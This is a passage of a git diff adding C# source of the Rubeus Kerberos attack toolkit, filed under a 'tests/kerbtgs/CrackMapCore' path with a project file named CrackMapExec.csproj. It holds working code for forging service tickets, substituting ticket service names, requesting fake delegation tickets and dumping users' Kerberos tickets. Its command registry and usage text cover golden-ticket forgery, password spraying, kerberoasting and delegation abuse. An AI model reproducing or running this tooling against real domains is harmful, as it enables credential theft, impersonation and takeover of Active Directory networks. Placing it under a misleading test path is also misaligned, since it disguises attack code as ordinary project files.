Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; + bool newPac = arguments.ContainsKey("/newpac"); + + string domain = ""; + string dc = ""; + string sid = ""; + string netbios = ""; + + bool ldap = false; + string ldapuser = null; + string ldappassword = null; + + string hash = ""; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; + byte[] krbKey = null; + Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent; + + DateTime startTime = DateTime.UtcNow; + DateTime authTime = startTime; + DateTime? rangeEnd = null; + string rangeInterval = "1d"; + string endTime = ""; + string renewTill = ""; + bool extendedUpnDns = arguments.ContainsKey("/extendedupndns"); + + string outfile = ""; + bool ptt = false; + bool printcmd = false; + + string cName = null; + string cRealm = null; + string s4uProxyTarget = null; + string s4uTransitedServices = null; + bool includeAuthData = false; + bool noFullPacSig = arguments.ContainsKey("/nofullpacsig"); + + // user information mostly for the PAC + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/sids")) + { + sids = arguments["/sids"]; + } + if (arguments.ContainsKey("/groups")) + { + groups = arguments["/groups"]; + } + if (arguments.ContainsKey("/id")) + { + id = Int32.Parse(arguments["/id"]); + } + if (arguments.ContainsKey("/pgid")) + { + pGid = Int32.Parse(arguments["/pgid"]); + } + if (arguments.ContainsKey("/displayname")) + { + displayName = arguments["/displayname"]; + } + if (arguments.ContainsKey("/logoncount")) + { + logonCount = short.Parse(arguments["/logoncount"]); + } + if (arguments.ContainsKey("/badpwdcount")) + { + badPwdCount = short.Parse(arguments["/badpwdcount"]); + } + if (arguments.ContainsKey("/lastlogon")) + { + lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/logofftime")) + { + logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/pwdlastset")) + { + pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + if (arguments.ContainsKey("/maxpassage")) + { + maxPassAge = Int32.Parse(arguments["/maxpassage"]); + } + if (arguments.ContainsKey("/minpassage")) + { + minPassAge = Int32.Parse(arguments["/minpassage"]); + } + if (arguments.ContainsKey("/homedir")) + { + homeDir = arguments["/homedir"]; + } + if (arguments.ContainsKey("/homedrive")) + { + homeDrive = arguments["/homedrive"]; + } + if (arguments.ContainsKey("/profilepath")) + { + profilePath = arguments["/profilepath"]; + } + if (arguments.ContainsKey("/scriptpath")) + { + scriptPath = arguments["/scriptpath"]; + } + if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) + { + resourceGroupSid = arguments["/resourcegroupsid"]; + resourceGroups = new List(); + foreach (string rgroup in arguments["/resourcegroups"].Split(',')) + { + try + { + resourceGroups.Add(Int32.Parse(rgroup)); + } + catch + { + Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); + } + } + } + if (arguments.ContainsKey("/uac")) + { + Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; + + foreach (string u in arguments["/uac"].Split(',')) + { + Interop.PacUserAccountControl result; + bool status = Interop.PacUserAccountControl.TryParse(u, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); + } + } + if (tmp != Interop.PacUserAccountControl.EMPTY) + { + uac = tmp; + } + } + + // domain and DC information + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + if (arguments.ContainsKey("/netbios")) + { + netbios = arguments["/netbios"]; + } + + // getting the user information from LDAP + if (arguments.ContainsKey("/ldap")) + { + ldap = true; + if (arguments.ContainsKey("/creduser")) + { + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + ldapuser = arguments["/creduser"]; + ldappassword = arguments["/credpassword"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + } + + // service name + if (arguments.ContainsKey("/service")) + { + service = arguments["/service"]; + } + else + { + Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required"); + return; + } + + // encryption types + encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified + if (arguments.ContainsKey("/enctype")) + { + string encTypeString = arguments["/enctype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + } + + if (arguments.ContainsKey("/des")) + { + hash = arguments["/des"]; + encType = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/ntlm")) + { + hash = arguments["/ntlm"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + hash = arguments["/aes128"]; + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + + if (arguments.ContainsKey("/krbkey")) + { + krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); + } + + if (arguments.ContainsKey("/krbenctype")) + { + if (krbKey == null) + { + Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument"); + } + else + { + string krbEncTypeString = arguments["/krbenctype"].ToUpper(); + + if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; + } + else if (krbEncTypeString.Equals("AES128")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128; + } + else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES")) + { + krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + } + } + } + + // flags + if (arguments.ContainsKey("/flags")) + { + Interop.TicketFlags tmp = Interop.TicketFlags.empty; + + foreach (string flag in arguments["/flags"].Split(',')) + { + Interop.TicketFlags result; + bool status = Interop.TicketFlags.TryParse(flag, out result); + + if (status) + { + tmp |= result; + } + else + { + Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); + } + } + if (tmp != Interop.TicketFlags.empty) + { + flags = tmp; + } + } + + // ticket times + if (arguments.ContainsKey("/starttime")) + { + try + { + startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); + return; + } + } + if (arguments.ContainsKey("/authtime")) + { + try + { + authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); + } + catch (Exception e) + { + Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); + authTime = startTime; + } + } + else if (arguments.ContainsKey("/starttime")) + { + authTime = startTime; + } + if (arguments.ContainsKey("/rangeend")) + { + rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); + if (rangeEnd == null) + { + Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); + rangeEnd = startTime; + } + } + if (arguments.ContainsKey("/rangeinterval")) + { + rangeInterval = arguments["/rangeinterval"]; + } + if (arguments.ContainsKey("/endtime")) + { + endTime = arguments["/endtime"]; + } + if (arguments.ContainsKey("/renewtill")) + { + renewTill = arguments["/renewtill"]; + } + + // actions for the ticket(s) + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + // print a command that could be used to recreate the ticket + // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again + if (arguments.ContainsKey("/printcmd")) + { + printcmd = true; + } + + // unusual service ticket options + if (arguments.ContainsKey("/cname")) + { + cName = arguments["/cname"]; + } + if (arguments.ContainsKey("/crealm")) + { + cRealm = arguments["/crealm"]; + } + if (arguments.ContainsKey("/s4uproxytarget")) + { + s4uProxyTarget = arguments["/s4uproxytarget"]; + } + if (arguments.ContainsKey("/s4utransitedservices")) + { + s4uTransitedServices = arguments["/s4utransitedservices"]; + } + if (arguments.ContainsKey("/authdata")) + { + includeAuthData = true; + } + + // checks + if (String.IsNullOrEmpty(user)) + { + Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); + return; + } + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); + return; + } + if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices)) + { + if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices)) + { + Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n"); + return; + } + } + + if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) + { + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); + return; + } + else + { + ForgeTickets.ForgeTicket( + user, + service, + Helpers.StringToByteArray(hash), + encType, + krbKey, + krbEncType, + ldap, + ldapuser, + ldappassword, + sid, + domain, + netbios, + dc, + flags, + startTime, + rangeEnd, + rangeInterval, + authTime, + endTime, + renewTill, + id, + groups, + sids, + displayName, + logonCount, + badPwdCount, + lastLogon, + logoffTime, + pwdLastSet, + maxPassAge, + minPassAge, + pGid, + homeDir, + homeDrive, + profilePath, + scriptPath, + resourceGroupSid, + resourceGroups, + uac, + newPac, + extendedUpnDns, + outfile, + ptt, + printcmd, + cName, + cRealm, + s4uProxyTarget, + s4uTransitedServices, + includeAuthData, + noFullPacSig + ); + return; + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Tgssub.cs b/tests/kerbtgs/CrackMapCore/Commands/Tgssub.cs new file mode 100644 index 0000000..72a68f5 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Tgssub.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Tgssub : ICommand + { + public static string CommandName => "tgssub"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Service Ticket sname Substitution\r\n"); + + string altservice = ""; + LUID luid = new LUID(); + bool ptt = false; + string srealm = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/altservice")) + { + altservice = arguments["/altservice"]; + } + else + { + Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n"); + return; + } + + if(arguments.ContainsKey("/srealm")) + { + srealm = arguments["/srealm"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid, srealm); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs b/tests/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs new file mode 100644 index 0000000..d3d2209 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Tgtdeleg.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Tgtdeleg : ICommand + { + public static string CommandName => "tgtdeleg"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); + + if (arguments.ContainsKey("/target")) + { + byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); + } + else + { + byte[] blah = LSA.RequestFakeDelegTicket(); + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Triage.cs b/tests/kerbtgs/CrackMapCore/Commands/Triage.cs new file mode 100644 index 0000000..8d7c297 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Triage.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Triage : ICommand + { + public static string CommandName => "triage"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: Triage Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Triage); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/CrackMapExec.csproj b/tests/kerbtgs/CrackMapCore/CrackMapExec.csproj new file mode 100644 index 0000000..4f72137 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/CrackMapExec.csproj @@ -0,0 +1,247 @@ + + + + + Debug + AnyCPU + {658C8B7F-3664-4A95-9572-A3E5871DFC06} + Exe + Properties + Rubeus + Rubeus + v4.0 + 512 + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + true + + + AnyCPU + none + true + bin\Release\ + TRACE + prompt + 4 + false + false + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + + \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs b/tests/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs new file mode 100644 index 0000000..08638ee --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Domain/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace Rubeus.Domain +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs b/tests/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs new file mode 100644 index 0000000..906faa0 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Domain/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace Rubeus.Domain +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Domain/CommandCollection.cs b/tests/kerbtgs/CrackMapCore/Domain/CommandCollection.cs new file mode 100644 index 0000000..94d3cde --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Domain/CommandCollection.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using Rubeus.Commands; + +namespace Rubeus.Domain +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Asktgs.CommandName, () => new Asktgs()); + _availableCommands.Add(Asktgt.CommandName, () => new Asktgt()); + _availableCommands.Add(Asreproast.CommandName, () => new Asreproast()); + _availableCommands.Add(Changepw.CommandName, () => new Changepw()); + _availableCommands.Add(Createnetonly.CommandName, () => new Createnetonly()); + _availableCommands.Add(Currentluid.CommandName, () => new Currentluid()); + _availableCommands.Add(Logonsession.CommandName, () => new Logonsession()); + _availableCommands.Add(Describe.CommandName, () => new Describe()); + _availableCommands.Add(Dump.CommandName, () => new Dump()); + _availableCommands.Add(Hash.CommandName, () => new Hash()); + _availableCommands.Add(HarvestCommand.CommandName, () => new HarvestCommand()); + _availableCommands.Add(Kerberoast.CommandName, () => new Kerberoast()); + _availableCommands.Add(Klist.CommandName, () => new Klist()); + _availableCommands.Add(Monitor.CommandName, () => new Monitor()); + _availableCommands.Add(Ptt.CommandName, () => new Ptt()); + _availableCommands.Add(Purge.CommandName, () => new Purge()); + _availableCommands.Add(RenewCommand.CommandName, () => new RenewCommand()); + _availableCommands.Add(S4u.CommandName, () => new S4u()); + _availableCommands.Add(Tgssub.CommandName, () => new Tgssub()); + _availableCommands.Add(Tgtdeleg.CommandName, () => new Tgtdeleg()); + _availableCommands.Add(Triage.CommandName, () => new Triage()); + _availableCommands.Add(Brute.CommandName, () => new Brute()); + // alias 'spray' to 'brute' + _availableCommands.Add("spray", () => new Brute()); + _availableCommands.Add(Silver.CommandName, () => new Silver()); + _availableCommands.Add(Golden.CommandName, () => new Golden()); + _availableCommands.Add(Diamond.CommandName, () => new Diamond()); + _availableCommands.Add(Preauthscan.CommandName, () => new Preauthscan()); + _availableCommands.Add(ASREP2Kirbi.CommandName, () => new ASREP2Kirbi()); + _availableCommands.Add(Kirbi.CommandName, () => new Kirbi()); + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Domain/Info.cs b/tests/kerbtgs/CrackMapCore/Domain/Info.cs new file mode 100644 index 0000000..86b28c2 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Domain/Info.cs @@ -0,0 +1,244 @@ +using System; + +namespace Rubeus.Domain +{ + public static class Info + { + public static void ShowLogo() + { + Console.WriteLine("\r\n ______ _ "); + Console.WriteLine(" (_____ \\ | | "); + Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ "); + Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); + Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); + Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); + Console.WriteLine(" v2.3.2 \r\n"); + } + + public static void ShowUsage() + { + string usage = @" + Ticket requests and renewals: + + Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] [/nowrap] + + Request a TGT without sending pre-auth data: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + + Request a service ticket using an AS-REQ: + Rubeus.exe asktgt /user:USER /service:SPN [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: + Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Retrieve a service ticket using the Kerberos Key List Request options: + Rubeus.exe asktgs /keyList /service:KRBTGT_SPN [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: + Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] + + Perform a Kerberos-based password bruteforcing attack: + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + + Perform a scan for account that do not require pre-authentication: + Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] + + + Constrained delegation abuse: + + Perform S4U constrained delegation abuse: + Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] + + Perform S4U constrained delegation abuse across domains: + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] + + + Ticket Forgery: + + Forge a golden ticket using LDAP to gather the relevent information: + Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket, setting values explicitly: + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] 